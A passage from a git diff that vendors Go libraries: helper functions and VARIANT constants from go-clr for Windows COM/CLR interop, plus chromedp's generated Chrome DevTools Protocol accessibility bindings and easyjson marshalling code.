"fmt" + "log" + "strings" + "unicode/utf16" + "unsafe" + + "golang.org/x/text/encoding/unicode" + "golang.org/x/text/transform" +) + +var Debug = false + +// checkOK evaluates a HRESULT code for a caller and determines if there was an error +func checkOK(hr uintptr, caller string) error { + if hr != S_OK { + return fmt.Errorf("%s returned 0x%08x", caller, hr) + } else { + return nil + } +} + +// must forces the program to exit if there is an error using the log.Fatal command +func must(err error) { + if err != nil { + log.Fatal(err) + } +} + +func utf16Le(s string) []byte { + enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder() + var buf bytes.Buffer + t := transform.NewWriter(&buf, enc) + t.Write([]byte(s)) + return buf.Bytes() +} + +func expectsParams(input string) bool { + return !strings.Contains(input, "Void Main()") +} + +// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value +func ReadUnicodeStr(ptr unsafe.Pointer) string { + debugPrint("Entering into utils.ReadUnicodeStr()...") + var byteVal uint16 + out := make([]uint16, 0) + for i := 0; ; i++ { + byteVal = *(*uint16)(unsafe.Pointer(ptr)) + if byteVal == 0x0000 { + break + } + out = append(out, byteVal) + ptr = unsafe.Pointer(uintptr(ptr) + 2) + } + return string(utf16.Decode(out)) +} + +// debugPrint is used to print messages only when debug has been enabled +func debugPrint(message string) { + if Debug { + fmt.Println("[DEBUG] " + message) + } +} + +// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself +// appended to the final safe array +func PrepareParameters(params []string) (*SafeArray, error) { + sab := SafeArrayBound{ + cElements: uint32(len(params)), + lLbound: 0, + } + listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR + if err != nil { + return nil, err + } + for i, p := range params { + bstr, err := SysAllocString(p) + if err != nil { + return nil, err + } + SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr) + } + + paramVariant := Variant{ + VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY + Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)), + } + + sab2 := SafeArrayBound{ + cElements: uint32(1), + lLbound: 0, + } + paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT + if err != nil { + return nil, err + } + err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant)) + if err != nil { + return nil, err + } + return paramsSafeArrayPtr, nil +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/variant.go b/vendor/github.com/Ne0nd0g/go-clr/variant.go new file mode 100644 index 0000000000..8798013cb6 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/variant.go @@ -0,0 +1,38 @@ +// +build windows + +package clr + +const ( + // VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not + // pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND. + VT_EMPTY uint16 = 0x0000 + // VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.) + // The null value is used for tri-state logic, as with SQL. + VT_NULL uint16 = 0x0001 + // VT_UI1 is a Variant Type of Unsigned Integer of 1-byte + VT_UI1 uint16 = 0x0011 + // VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte + VT_UI4 uint16 = 0x0013 + // VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1 + VT_BSTR uint16 = 0x0008 + // VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data + VT_VARIANT uint16 = 0x000c + // VT_ARRAY is a Variant Type of a SAFEARRAY + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a + VT_ARRAY uint16 = 0x2000 +) + +// from /~https://github.com/go-ole/go-ole/blob/master/variant_amd64.go +// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure +// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant +// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN +// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f +type Variant struct { + VT uint16 // VARTYPE + wReserved1 uint16 + wReserved2 uint16 + wReserved3 uint16 + Val uintptr + _ [8]byte +} diff --git a/vendor/github.com/chromedp/cdproto/.gitignore b/vendor/github.com/chromedp/cdproto/.gitignore new file mode 100644 index 0000000000..c456f53275 --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/.gitignore @@ -0,0 +1,2 @@ +*.json +*.pdl diff --git a/vendor/github.com/chromedp/cdproto/LICENSE b/vendor/github.com/chromedp/cdproto/LICENSE new file mode 100644 index 0000000000..323e87a931 --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2016-2021 Kenneth Shaw + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/chromedp/cdproto/README.md b/vendor/github.com/chromedp/cdproto/README.md new file mode 100644 index 0000000000..a21f77cac6 --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/README.md @@ -0,0 +1,29 @@ +# About cdproto + +Package `cdproto` contains the generated commands, types, and events for the +[Chrome DevTools Protocol domains][devtools-protocol]. + +[![Unit Tests][cdproto-ci-status]][cdproto-ci] +[![Go Reference][goref-cdproto-status]][goref-cdproto] + +This package is generated by the [`cdproto-gen`][cdproto-gen] command. Please +refer to that project and to the main [`chromedp`][chromedp] project for +information on using the commands, types, and events available here. + +## API + +Please see the [Go Reference][goref-cdproto]. + +## Contributing + +If you would like to submit a change to the code in this package, please submit +your Pull Request to the [`cdproto-gen`][cdproto-gen] project. Any Issues and +Pull Requests submitted to this project will be closed without being reviewed. + +[cdproto-ci]: /~https://github.com/chromedp/cdproto/actions/workflows/build.yml (Build CI) +[cdproto-ci-status]: /~https://github.com/chromedp/cdproto/actions/workflows/build.yml/badge.svg (Build CI) +[cdproto-gen]: /~https://github.com/chromedp/cdproto-gen +[chromedp]: /~https://github.com/chromedp/chromedp +[devtools-protocol]: https://chromedevtools.github.io/devtools-protocol/ +[goref-cdproto]: https://pkg.go.dev/github.com/chromedp/cdproto +[goref-cdproto-status]: https://pkg.go.dev/badge/github.com/chromedp/chromedp.svg diff --git a/vendor/github.com/chromedp/cdproto/accessibility/accessibility.go b/vendor/github.com/chromedp/cdproto/accessibility/accessibility.go new file mode 100644 index 0000000000..375186f38d --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/accessibility/accessibility.go @@ -0,0 +1,411 @@ +// Package accessibility provides the Chrome DevTools Protocol +// commands, types, and events for the Accessibility domain. +// +// Generated by the cdproto-gen command. +package accessibility + +// Code generated by cdproto-gen. DO NOT EDIT. + +import ( + "context" + + "github.com/chromedp/cdproto/cdp" + "github.com/chromedp/cdproto/runtime" +) + +// DisableParams disables the accessibility domain. +type DisableParams struct{} + +// Disable disables the accessibility domain. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-disable +func Disable() *DisableParams { + return &DisableParams{} +} + +// Do executes Accessibility.disable against the provided context. +func (p *DisableParams) Do(ctx context.Context) (err error) { + return cdp.Execute(ctx, CommandDisable, nil, nil) +} + +// EnableParams enables the accessibility domain which causes AXNodeIds to +// remain consistent between method calls. This turns on accessibility for the +// page, which can impact performance until accessibility is disabled. +type EnableParams struct{} + +// Enable enables the accessibility domain which causes AXNodeIds to remain +// consistent between method calls. This turns on accessibility for the page, +// which can impact performance until accessibility is disabled. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-enable +func Enable() *EnableParams { + return &EnableParams{} +} + +// Do executes Accessibility.enable against the provided context. +func (p *EnableParams) Do(ctx context.Context) (err error) { + return cdp.Execute(ctx, CommandEnable, nil, nil) +} + +// GetPartialAXTreeParams fetches the accessibility node and partial +// accessibility tree for this DOM node, if it exists. +type GetPartialAXTreeParams struct { + NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get the partial accessibility tree for. + BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get the partial accessibility tree for. + ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get the partial accessibility tree for. + FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this nodes ancestors, siblings and children. Defaults to true. +} + +// GetPartialAXTree fetches the accessibility node and partial accessibility +// tree for this DOM node, if it exists. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getPartialAXTree +// +// parameters: +func GetPartialAXTree() *GetPartialAXTreeParams { + return &GetPartialAXTreeParams{} +} + +// WithNodeID identifier of the node to get the partial accessibility tree +// for. +func (p GetPartialAXTreeParams) WithNodeID(nodeID cdp.NodeID) *GetPartialAXTreeParams { + p.NodeID = nodeID + return &p +} + +// WithBackendNodeID identifier of the backend node to get the partial +// accessibility tree for. +func (p GetPartialAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetPartialAXTreeParams { + p.BackendNodeID = backendNodeID + return &p +} + +// WithObjectID JavaScript object id of the node wrapper to get the partial +// accessibility tree for. +func (p GetPartialAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *GetPartialAXTreeParams { + p.ObjectID = objectID + return &p +} + +// WithFetchRelatives whether to fetch this nodes ancestors, siblings and +// children. Defaults to true. +func (p GetPartialAXTreeParams) WithFetchRelatives(fetchRelatives bool) *GetPartialAXTreeParams { + p.FetchRelatives = fetchRelatives + return &p +} + +// GetPartialAXTreeReturns return values. +type GetPartialAXTreeReturns struct { + Nodes []*Node `json:"nodes,omitempty"` // The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested. +} + +// Do executes Accessibility.getPartialAXTree against the provided context. +// +// returns: +// +// nodes - The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested. +func (p *GetPartialAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) { + // execute + var res GetPartialAXTreeReturns + err = cdp.Execute(ctx, CommandGetPartialAXTree, p, &res) + if err != nil { + return nil, err + } + + return res.Nodes, nil +} + +// GetFullAXTreeParams fetches the entire accessibility tree for the root +// Document. +type GetFullAXTreeParams struct { + Depth int64 `json:"depth,omitempty"` // The maximum depth at which descendants of the root node should be retrieved. If omitted, the full tree is returned. + FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame for whose document the AX tree should be retrieved. If omitted, the root frame is used. +} + +// GetFullAXTree fetches the entire accessibility tree for the root Document. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getFullAXTree +// +// parameters: +func GetFullAXTree() *GetFullAXTreeParams { + return &GetFullAXTreeParams{} +} + +// WithDepth the maximum depth at which descendants of the root node should +// be retrieved. If omitted, the full tree is returned. +func (p GetFullAXTreeParams) WithDepth(depth int64) *GetFullAXTreeParams { + p.Depth = depth + return &p +} + +// WithFrameID the frame for whose document the AX tree should be retrieved. +// If omitted, the root frame is used. +func (p GetFullAXTreeParams) WithFrameID(frameID cdp.FrameID) *GetFullAXTreeParams { + p.FrameID = frameID + return &p +} + +// GetFullAXTreeReturns return values. +type GetFullAXTreeReturns struct { + Nodes []*Node `json:"nodes,omitempty"` +} + +// Do executes Accessibility.getFullAXTree against the provided context. +// +// returns: +// +// nodes +func (p *GetFullAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) { + // execute + var res GetFullAXTreeReturns + err = cdp.Execute(ctx, CommandGetFullAXTree, p, &res) + if err != nil { + return nil, err + } + + return res.Nodes, nil +} + +// GetRootAXNodeParams fetches the root node. Requires enable() to have been +// called previously. +type GetRootAXNodeParams struct { + FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used. +} + +// GetRootAXNode fetches the root node. Requires enable() to have been called +// previously. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getRootAXNode +// +// parameters: +func GetRootAXNode() *GetRootAXNodeParams { + return &GetRootAXNodeParams{} +} + +// WithFrameID the frame in whose document the node resides. If omitted, the +// root frame is used. +func (p GetRootAXNodeParams) WithFrameID(frameID cdp.FrameID) *GetRootAXNodeParams { + p.FrameID = frameID + return &p +} + +// GetRootAXNodeReturns return values. +type GetRootAXNodeReturns struct { + Node *Node `json:"node,omitempty"` +} + +// Do executes Accessibility.getRootAXNode against the provided context. +// +// returns: +// +// node +func (p *GetRootAXNodeParams) Do(ctx context.Context) (node *Node, err error) { + // execute + var res GetRootAXNodeReturns + err = cdp.Execute(ctx, CommandGetRootAXNode, p, &res) + if err != nil { + return nil, err + } + + return res.Node, nil +} + +// GetAXNodeAndAncestorsParams fetches a node and all ancestors up to and +// including the root. Requires enable() to have been called previously. +type GetAXNodeAndAncestorsParams struct { + NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get. + BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get. + ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get. +} + +// GetAXNodeAndAncestors fetches a node and all ancestors up to and including +// the root. Requires enable() to have been called previously. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getAXNodeAndAncestors +// +// parameters: +func GetAXNodeAndAncestors() *GetAXNodeAndAncestorsParams { + return &GetAXNodeAndAncestorsParams{} +} + +// WithNodeID identifier of the node to get. +func (p GetAXNodeAndAncestorsParams) WithNodeID(nodeID cdp.NodeID) *GetAXNodeAndAncestorsParams { + p.NodeID = nodeID + return &p +} + +// WithBackendNodeID identifier of the backend node to get. +func (p GetAXNodeAndAncestorsParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetAXNodeAndAncestorsParams { + p.BackendNodeID = backendNodeID + return &p +} + +// WithObjectID JavaScript object id of the node wrapper to get. +func (p GetAXNodeAndAncestorsParams) WithObjectID(objectID runtime.RemoteObjectID) *GetAXNodeAndAncestorsParams { + p.ObjectID = objectID + return &p +} + +// GetAXNodeAndAncestorsReturns return values. +type GetAXNodeAndAncestorsReturns struct { + Nodes []*Node `json:"nodes,omitempty"` +} + +// Do executes Accessibility.getAXNodeAndAncestors against the provided context. +// +// returns: +// +// nodes +func (p *GetAXNodeAndAncestorsParams) Do(ctx context.Context) (nodes []*Node, err error) { + // execute + var res GetAXNodeAndAncestorsReturns + err = cdp.Execute(ctx, CommandGetAXNodeAndAncestors, p, &res) + if err != nil { + return nil, err + } + + return res.Nodes, nil +} + +// GetChildAXNodesParams fetches a particular accessibility node by AXNodeId. +// Requires enable() to have been called previously. +type GetChildAXNodesParams struct { + ID NodeID `json:"id"` + FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used. +} + +// GetChildAXNodes fetches a particular accessibility node by AXNodeId. +// Requires enable() to have been called previously. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getChildAXNodes +// +// parameters: +// +// id +func GetChildAXNodes(id NodeID) *GetChildAXNodesParams { + return &GetChildAXNodesParams{ + ID: id, + } +} + +// WithFrameID the frame in whose document the node resides. If omitted, the +// root frame is used. +func (p GetChildAXNodesParams) WithFrameID(frameID cdp.FrameID) *GetChildAXNodesParams { + p.FrameID = frameID + return &p +} + +// GetChildAXNodesReturns return values. +type GetChildAXNodesReturns struct { + Nodes []*Node `json:"nodes,omitempty"` +} + +// Do executes Accessibility.getChildAXNodes against the provided context. +// +// returns: +// +// nodes +func (p *GetChildAXNodesParams) Do(ctx context.Context) (nodes []*Node, err error) { + // execute + var res GetChildAXNodesReturns + err = cdp.Execute(ctx, CommandGetChildAXNodes, p, &res) + if err != nil { + return nil, err + } + + return res.Nodes, nil +} + +// QueryAXTreeParams query a DOM node's accessibility subtree for accessible +// name and role. This command computes the name and role for all nodes in the +// subtree, including those that are ignored for accessibility, and returns +// those that mactch the specified name and role. If no DOM node is specified, +// or the DOM node does not exist, the command returns an error. If neither +// accessibleName or role is specified, it returns all the accessibility nodes +// in the subtree. +type QueryAXTreeParams struct { + NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node for the root to query. + BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node for the root to query. + ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper for the root to query. + AccessibleName string `json:"accessibleName,omitempty"` // Find nodes with this computed name. + Role string `json:"role,omitempty"` // Find nodes with this computed role. +} + +// QueryAXTree query a DOM node's accessibility subtree for accessible name +// and role. This command computes the name and role for all nodes in the +// subtree, including those that are ignored for accessibility, and returns +// those that mactch the specified name and role. If no DOM node is specified, +// or the DOM node does not exist, the command returns an error. If neither +// accessibleName or role is specified, it returns all the accessibility nodes +// in the subtree. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-queryAXTree +// +// parameters: +func QueryAXTree() *QueryAXTreeParams { + return &QueryAXTreeParams{} +} + +// WithNodeID identifier of the node for the root to query. +func (p QueryAXTreeParams) WithNodeID(nodeID cdp.NodeID) *QueryAXTreeParams { + p.NodeID = nodeID + return &p +} + +// WithBackendNodeID identifier of the backend node for the root to query. +func (p QueryAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *QueryAXTreeParams { + p.BackendNodeID = backendNodeID + return &p +} + +// WithObjectID JavaScript object id of the node wrapper for the root to +// query. +func (p QueryAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *QueryAXTreeParams { + p.ObjectID = objectID + return &p +} + +// WithAccessibleName find nodes with this computed name. +func (p QueryAXTreeParams) WithAccessibleName(accessibleName string) *QueryAXTreeParams { + p.AccessibleName = accessibleName + return &p +} + +// WithRole find nodes with this computed role. +func (p QueryAXTreeParams) WithRole(role string) *QueryAXTreeParams { + p.Role = role + return &p +} + +// QueryAXTreeReturns return values. +type QueryAXTreeReturns struct { + Nodes []*Node `json:"nodes,omitempty"` // A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility. +} + +// Do executes Accessibility.queryAXTree against the provided context. +// +// returns: +// +// nodes - A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility. +func (p *QueryAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) { + // execute + var res QueryAXTreeReturns + err = cdp.Execute(ctx, CommandQueryAXTree, p, &res) + if err != nil { + return nil, err + } + + return res.Nodes, nil +} + +// Command names. +const ( + CommandDisable = "Accessibility.disable" + CommandEnable = "Accessibility.enable" + CommandGetPartialAXTree = "Accessibility.getPartialAXTree" + CommandGetFullAXTree = "Accessibility.getFullAXTree" + CommandGetRootAXNode = "Accessibility.getRootAXNode" + CommandGetAXNodeAndAncestors = "Accessibility.getAXNodeAndAncestors" + CommandGetChildAXNodes = "Accessibility.getChildAXNodes" + CommandQueryAXTree = "Accessibility.queryAXTree" +) diff --git a/vendor/github.com/chromedp/cdproto/accessibility/easyjson.go b/vendor/github.com/chromedp/cdproto/accessibility/easyjson.go new file mode 100644 index 0000000000..5764bd146e --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/accessibility/easyjson.go @@ -0,0 +1,2260 @@ +// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. + +package accessibility + +import ( + json "encoding/json" + runtime "github.com/chromedp/cdproto/runtime" + easyjson "github.com/mailru/easyjson" + jlexer "github.com/mailru/easyjson/jlexer" + jwriter "github.com/mailru/easyjson/jwriter" +) + +// suppress unused package warning +var ( + _ *json.RawMessage + _ *jlexer.Lexer + _ *jwriter.Writer + _ easyjson.Marshaler +) + +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility(in *jlexer.Lexer, out *ValueSource) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "type": + (out.Type).UnmarshalEasyJSON(in) + case "value": + if in.IsNull() { + in.Skip() + out.Value = nil + } else { + if out.Value == nil { + out.Value = new(Value) + } + (*out.Value).UnmarshalEasyJSON(in) + } + case "attribute": + out.Attribute = string(in.String()) + case "attributeValue": + if in.IsNull() { + in.Skip() + out.AttributeValue = nil + } else { + if out.AttributeValue == nil { + out.AttributeValue = new(Value) + } + (*out.AttributeValue).UnmarshalEasyJSON(in) + } + case "superseded": + out.Superseded = bool(in.Bool()) + case "nativeSource": + (out.NativeSource).UnmarshalEasyJSON(in) + case "nativeSourceValue": + if in.IsNull() { + in.Skip() + out.NativeSourceValue = nil + } else { + if out.NativeSourceValue == nil { + out.NativeSourceValue = new(Value) + } + (*out.NativeSourceValue).UnmarshalEasyJSON(in) + } + case "invalid": + out.Invalid = bool(in.Bool()) + case "invalidReason": + out.InvalidReason = string(in.String()) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility(out *jwriter.Writer, in ValueSource) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"type\":" + out.RawString(prefix[1:]) + (in.Type).MarshalEasyJSON(out) + } + if in.Value != nil { + const prefix string = ",\"value\":" + out.RawString(prefix) + (*in.Value).MarshalEasyJSON(out) + } + if in.Attribute != "" { + const prefix string = ",\"attribute\":" + out.RawString(prefix) + out.String(string(in.Attribute)) + } + if in.AttributeValue != nil { + const prefix string = ",\"attributeValue\":" + out.RawString(prefix) + (*in.AttributeValue).MarshalEasyJSON(out) + } + if in.Superseded { + const prefix string = ",\"superseded\":" + out.RawString(prefix) + out.Bool(bool(in.Superseded)) + } + if in.NativeSource != "" { + const prefix string = ",\"nativeSource\":" + out.RawString(prefix) + (in.NativeSource).MarshalEasyJSON(out) + } + if in.NativeSourceValue != nil { + const prefix string = ",\"nativeSourceValue\":" + out.RawString(prefix) + (*in.NativeSourceValue).MarshalEasyJSON(out) + } + if in.Invalid { + const prefix string = ",\"invalid\":" + out.RawString(prefix) + out.Bool(bool(in.Invalid)) + } + if in.InvalidReason != "" { + const prefix string = ",\"invalidReason\":" + out.RawString(prefix) + out.String(string(in.InvalidReason)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v ValueSource) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v ValueSource) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *ValueSource) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *ValueSource) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility1(in *jlexer.Lexer, out *Value) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "type": + (out.Type).UnmarshalEasyJSON(in) + case "value": + (out.Value).UnmarshalEasyJSON(in) + case "relatedNodes": + if in.IsNull() { + in.Skip() + out.RelatedNodes = nil + } else { + in.Delim('[') + if out.RelatedNodes == nil { + if !in.IsDelim(']') { + out.RelatedNodes = make([]*RelatedNode, 0, 8) + } else { + out.RelatedNodes = []*RelatedNode{} + } + } else { + out.RelatedNodes = (out.RelatedNodes)[:0] + } + for !in.IsDelim(']') { + var v1 *RelatedNode + if in.IsNull() { + in.Skip() + v1 = nil + } else { + if v1 == nil { + v1 = new(RelatedNode) + } + (*v1).UnmarshalEasyJSON(in) + } + out.RelatedNodes = append(out.RelatedNodes, v1) + in.WantComma() + } + in.Delim(']') + } + case "sources": + if in.IsNull() { + in.Skip() + out.Sources = nil + } else { + in.Delim('[') + if out.Sources == nil { + if !in.IsDelim(']') { + out.Sources = make([]*ValueSource, 0, 8) + } else { + out.Sources = []*ValueSource{} + } + } else { + out.Sources = (out.Sources)[:0] + } + for !in.IsDelim(']') { + var v2 *ValueSource + if in.IsNull() { + in.Skip() + v2 = nil + } else { + if v2 == nil { + v2 = new(ValueSource) + } + (*v2).UnmarshalEasyJSON(in) + } + out.Sources = append(out.Sources, v2) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility1(out *jwriter.Writer, in Value) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"type\":" + out.RawString(prefix[1:]) + (in.Type).MarshalEasyJSON(out) + } + if (in.Value).IsDefined() { + const prefix string = ",\"value\":" + out.RawString(prefix) + (in.Value).MarshalEasyJSON(out) + } + if len(in.RelatedNodes) != 0 { + const prefix string = ",\"relatedNodes\":" + out.RawString(prefix) + { + out.RawByte('[') + for v3, v4 := range in.RelatedNodes { + if v3 > 0 { + out.RawByte(',') + } + if v4 == nil { + out.RawString("null") + } else { + (*v4).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + if len(in.Sources) != 0 { + const prefix string = ",\"sources\":" + out.RawString(prefix) + { + out.RawByte('[') + for v5, v6 := range in.Sources { + if v5 > 0 { + out.RawByte(',') + } + if v6 == nil { + out.RawString("null") + } else { + (*v6).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v Value) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility1(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v Value) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility1(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *Value) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility1(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *Value) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility1(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility2(in *jlexer.Lexer, out *RelatedNode) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "backendDOMNodeId": + (out.BackendDOMNodeID).UnmarshalEasyJSON(in) + case "idref": + out.Idref = string(in.String()) + case "text": + out.Text = string(in.String()) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility2(out *jwriter.Writer, in RelatedNode) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"backendDOMNodeId\":" + out.RawString(prefix[1:]) + out.Int64(int64(in.BackendDOMNodeID)) + } + if in.Idref != "" { + const prefix string = ",\"idref\":" + out.RawString(prefix) + out.String(string(in.Idref)) + } + if in.Text != "" { + const prefix string = ",\"text\":" + out.RawString(prefix) + out.String(string(in.Text)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v RelatedNode) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility2(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v RelatedNode) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility2(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *RelatedNode) UnmarshalJSON(data []byte) error { + r := 